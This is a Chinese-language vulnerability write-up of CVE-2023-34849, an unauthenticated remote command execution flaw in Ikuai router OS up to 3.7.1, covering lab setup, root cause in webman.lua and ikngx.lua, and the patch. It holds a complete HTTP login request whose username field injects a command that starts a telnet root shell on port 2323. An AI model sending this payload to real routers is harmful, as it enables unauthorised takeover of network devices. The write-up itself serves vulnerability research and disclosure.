CVE-2023-34849 Ikuai 软路由 未授权RCE

漏洞描述

1
2
3
漏洞类型：未授权RCE
影响范围：供应商已修补版本 3.7.2 中的漏洞
漏洞接口：webman.lua、ikngx.lua

影响范围

Ikuai 路由器 OS 3.7.1 及之前版本

环境搭建

新建虚拟机，光盘选择Ikuai的iso镜像

img

操作系统选择Linux，版本选择Ubuntu即可

img

设置虚拟机名字和安装位置

img

设置处理器

img

设置内存

img

网络类型桥接

img

选择I/O控制器

img

选择磁盘类型

img

创建新磁盘

img

设置磁盘大小

img

下一步

img

完成

img

编辑虚拟机设置->添加->网络适配器（网卡2设置仅主机模式）

img

启动虚拟机，安装硬盘

img

1
Ikuai`默认地址是`192.168.1.1

img

设置网卡绑定

1
2
del lan1
set lan1 eth0

img

设置LAN/WAN地址

img

配置成功，访问web端，默认账号密码：admin/admin

img

img

获取shell

1
web`端开启`telnet`连接后发现是`CLI

img

利用漏洞进入root shell查看telnet进程信息如下：

1
9936 root      1336 S    {exe} telnetd -l /etc/setup/rc.console

然后查看/etc/setup/rc.console文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
case ${opmode} in
q|Q) touch /tmp/console.lock ;;
0) /etc/setup/setup.show ;;
1) /etc/setup/setup.setif ;;
2) /etc/setup/setup.lanip ;;
3) . /etc/setup/setup.webport ;;
4) /etc/setup/setup.ping ;;
5) /etc/setup/setup.flush ;;
6) /etc/setup/setup.default ;;
7) /etc/setup/setup.webpwd ;;
8) /etc/setup/setup.shutdown ;;
9) /etc/setup/setup.ethernet ;;
o|O) /etc/setup/setup.other ;;
v|V) /etc/setup/setup.one_stick_router ;;
...

可以看到输入指令调用对应的程序，那么挂载虚拟机，将内存文件中的/etc/setup/setup.ping替换为///////////////bin/sh，启动后输入4即可获取shell

img

漏洞分析

webman.lua程序中登录时，对username字段未过滤，传递给ikngx.lua的logger函数造成命令执行

img

命令执行

img

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Action/login HTTP/1.1
Host: 192.168.224.110
Content-Length: 138
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.224.110
Referer: http://192.168.224.110/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"username":"\";telnetd -p 2323 -l /bin/sh;\"","passwd":"0cc175b9c0f1b6a831c399e269772661","pass":"c2FsdF8xMWE=","remember_password":null}

img

img

img

补丁分析

登录前，先对username字段进行过滤处理

img

img

参考链接

环境搭建：

​ https://blog.csdn.net/weixin_43343299/article/details/113701449

https://github.com/cczzmm/IOT-POC/tree/main/Ikuai